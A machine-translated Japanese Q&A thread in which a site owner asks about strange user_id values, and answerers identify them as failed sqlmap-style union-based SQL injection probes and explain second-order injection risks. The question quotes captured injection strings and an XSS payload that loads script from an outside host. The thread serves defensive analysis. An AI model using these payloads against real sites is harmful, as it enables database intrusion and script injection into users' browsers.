web-dev-qa-db-ja.com

これはSQLインジェクション攻撃ですか、それとも一種のバグですか？

たくさんの奇妙なuser_idエントリ：

user_id
-1080) ORDER BY 1#
-1149 UNION ALL SELECT 79,79,79,79,79,79,79,79,79#
-1359' UNION ALL SELECT 79,79,79,79,79,79,79,79,79,79-- JwSh
-1409' ORDER BY 2678#
-1480' UNION ALL SELECT 79,79,79#
-1675 UNION ALL SELECT 79,79,79#
-1760 UNION ALL SELECT 79,79,79,79,79,79,79-- znFh
-1817 UNION ALL SELECT 79,79,79,79,79,79#
-1841 UNION ALL SELECT 79,79,79,79,79,79,79,79,79-- WiHF
-2265) UNION ALL SELECT 79,79,79,79,79,79#
-2365 UNION ALL SELECT 79,79,79,79,79,79,79#
-2387%' UNION ALL SELECT 79,79,79,79,79-- PHug
-2535') UNION ALL SELECT 79,79,79,79,79,79#
-2670%' ORDER BY 1#
-2847 ORDER BY 2974-- vCjk
-2922%' UNION ALL SELECT 79,79,79-- PgNW
-3097%' UNION ALL SELECT 79,79,79,79,79,79,79-- vJzG
-3675 UNION ALL SELECT 79,79,79#

悪意のある試みが行われているようには見えないので、一部の人はこれが何らかのバグによって引き起こされた可能性があると考えていますが、データエントリ内のSQLを確認するのはやや疑わしいです。

それは何をしようとしているのでしょうか？

ここに私が見つけたいくつかの興味深い例があります：

"><script src=http://xs7x.win/yRjYja></script>JSON #36*
"><script src=http://xs7x.win/yRjYja></script>JSON #98*
(SELECT CONCAT(0x717a627071,(SELECT (ELT(2849=2849,1))),0x716b627871))
sql-injectionpostgresql
69
turnip

「Union Injection」SQL攻撃（例： here ）をご覧ください。

基本的に、クエリ内の列の数を特定するためにさまざまな方法を試し、成功する列を探します。 order by行は、特定の列で順序付けられたデータと、存在しない列で順序付けを試みたために発生したエラーとの違いを検出しようとしますが、selectは有効なUNIONを取得しようとしています機能するコマンド-これは、ユニオンで結合される2つのクエリが同じ数の列を持っている場合にのみ機能します。

いくつかの行の終わりのランダムな文字から、フォームに対してsqlmapツールを実行している可能性がありますが、データベースでそれらを見つけたという事実は良いことです-それは試みが失敗したことを示唆していますこれらは、成功した攻撃の失敗した部分である可能性があります。

42
Matthew

これは、誰かがあなたのサイトでSQLインジェクションを悪用しようとした結果です。誰かが ユニオンベースのインジェクション に対して脆弱であるかどうかを検出しようとしました。表示されているすべてのレコードについて、機能していないようです。

影響を受ける期間についてアクセスログとエラーログを確認して、さらにリクエストが行われたかどうかを確認する必要があります。

私が気づいた1つの疑わしいことは、二重引用符（ "）を含むエントリが表示されないことです。これは、サイトの機能を破壊したか、二重引用符を使用した挿入がサイトに対して機能したことを示している可能性があります。

関連するソースコードをチェックして、パラメータ値の適切なサニタイズが行われたかどうかを確認することができます。これは、セットアップの他の一部が二重引用符での要求をブロックしたり、それらを挿入したりしなかった場合にも説明できます。

82
Denis

これらはおそらくnsuccessful試行の兆候であると述べて、すでに与えられた良い回答に加えて、これらのユーザーIDはより複雑なsuccessfulの一部である可能性があることを付け加えたいと思います。注入。

これは純粋に理論的なものではありません。 1つの選択クエリの結果が、2番目のクエリで適切な入力検証なしに使用される状況に遭遇しました。開発者は直接のユーザー入力のみを検証し、（間違って）何かから来るデータベースが安全であると想定する場合があります。したがって、これらのユーザーID値を格納するまでは、何も問題はありませんが、後続のクエリで魔法が発生します。整数はエスケープや引用符なしで使用されることが多いため、特に危険なのは整数フィールドが文字列に変わることです。

補足：少なくともいくつかのエラーを引き起こさずに未知のシステムで注入を行うことはほとんど不可能であるため、失敗したすべてのクエリをログに記録/通知することは非常に効果的です。これとは別に、本番システムでは（構文エラーのように）クエリが失敗することはありません。

31
mvds